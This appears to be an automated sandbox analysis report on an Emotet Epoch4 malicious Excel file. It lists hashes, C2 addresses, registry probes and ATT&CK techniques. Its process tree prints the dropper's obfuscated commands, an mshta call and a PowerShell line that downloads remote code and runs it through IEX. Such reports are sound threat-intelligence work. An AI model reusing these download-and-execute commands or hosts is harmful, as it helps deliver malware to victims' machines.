emotet | 7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9

General

Target

7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls
Size

141KB
MD5

2ac4ff27a56fa6f694dfbe016b3b5a94
SHA1

7de26753f23cc2aaf457eeeffc2d5703ffce8c53
SHA256

7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9
SHA512

e6e6405d26088e3854674ab4f315a18a0b55fdc3874ebf09b29abb754c342b9eb9c5d0800d124000f9f8e27b45d67368c43b3d047c6819e64d17cc3f023012ee

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	608	348	cmd.exe	68

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	2748	mshta.exe
40	2300	powershell.exe
44	2300	powershell.exe
48	2300	powershell.exe
51	2200	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3212	rundll32.exe
2348	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Deuirqhzacakqsm\rjidvruuydwl.zvg	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1528	2748	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
348	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2300	powershell.exe
2300	powershell.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
1528	WerFault.exe
2300	powershell.exe
2200	rundll32.exe
2200	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	1528	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE
348	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 348 wrote to memory of 2556	348	EXCEL.EXE	72
PID 348 wrote to memory of 2556	348	EXCEL.EXE	72
PID 348 wrote to memory of 608	348	EXCEL.EXE	73
PID 348 wrote to memory of 608	348	EXCEL.EXE	73
PID 608 wrote to memory of 2748	608	cmd.exe	75
PID 608 wrote to memory of 2748	608	cmd.exe	75
PID 2748 wrote to memory of 2300	2748	mshta.exe	78
PID 2748 wrote to memory of 2300	2748	mshta.exe	78
PID 2300 wrote to memory of 3280	2300	powershell.exe	80
PID 2300 wrote to memory of 3280	2300	powershell.exe	80
PID 3280 wrote to memory of 3212	3280	cmd.exe	81
PID 3280 wrote to memory of 3212	3280	cmd.exe	81
PID 3280 wrote to memory of 3212	3280	cmd.exe	81
PID 3212 wrote to memory of 2348	3212	rundll32.exe	82
PID 3212 wrote to memory of 2348	3212	rundll32.exe	82
PID 3212 wrote to memory of 2348	3212	rundll32.exe	82
PID 2348 wrote to memory of 3996	2348	rundll32.exe	85
PID 2348 wrote to memory of 3996	2348	rundll32.exe	85
PID 2348 wrote to memory of 3996	2348	rundll32.exe	85
PID 3996 wrote to memory of 2200	3996	rundll32.exe	86
PID 3996 wrote to memory of 2200	3996	rundll32.exe	86
PID 3996 wrote to memory of 2200	3996	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:348
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2556
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2748
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2748 -s 1640
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2300
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3280
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3212
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2348
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Deuirqhzacakqsm\rjidvruuydwl.zvg",zXvv
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3996
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Deuirqhzacakqsm\rjidvruuydwl.zvg",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/348-132-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

Filesize
64KB

Download
memory/348-122-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-131-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

Filesize
64KB

Download
memory/348-121-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-779-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-778-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-777-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-776-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-118-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-120-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/348-119-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

Filesize
64KB

Download
memory/2200-738-0x0000000004E40000-0x0000000004E66000-memory.dmp

Filesize
152KB

Download
memory/2200-744-0x0000000005110000-0x0000000005136000-memory.dmp

Filesize
152KB

Download
memory/2200-742-0x0000000005020000-0x0000000005046000-memory.dmp

Filesize
152KB

Download
memory/2200-740-0x0000000004F30000-0x0000000004F56000-memory.dmp

Filesize
152KB

Download
memory/2200-736-0x0000000004D60000-0x0000000004D86000-memory.dmp

Filesize
152KB

Download
memory/2200-729-0x0000000002DB0000-0x0000000002DD6000-memory.dmp

Filesize
152KB

Download
memory/2300-471-0x00000255712A0000-0x0000025571316000-memory.dmp

Filesize
472KB

Download
memory/2300-549-0x0000025570BD6000-0x0000025570BD8000-memory.dmp

Filesize
8KB

Download
memory/2300-436-0x0000025570D50000-0x0000025570D8C000-memory.dmp

Filesize
240KB

Download
memory/2300-399-0x0000025570BD3000-0x0000025570BD5000-memory.dmp

Filesize
8KB

Download
memory/2300-398-0x0000025570BD0000-0x0000025570BD2000-memory.dmp

Filesize
8KB

Download
memory/2300-385-0x0000025570BA0000-0x0000025570BC2000-memory.dmp

Filesize
136KB

Download
memory/2348-724-0x00000000047D0000-0x00000000047F6000-memory.dmp

Filesize
152KB

Download
memory/2348-728-0x0000000004930000-0x0000000004956000-memory.dmp

Filesize
152KB

Download
memory/2348-722-0x0000000004770000-0x0000000004796000-memory.dmp

Filesize
152KB

Download
memory/2348-720-0x0000000004670000-0x0000000004696000-memory.dmp

Filesize
152KB

Download
memory/2348-715-0x0000000003F70000-0x0000000003F96000-memory.dmp

Filesize
152KB

Download
memory/3212-712-0x0000000004E00000-0x0000000004E26000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads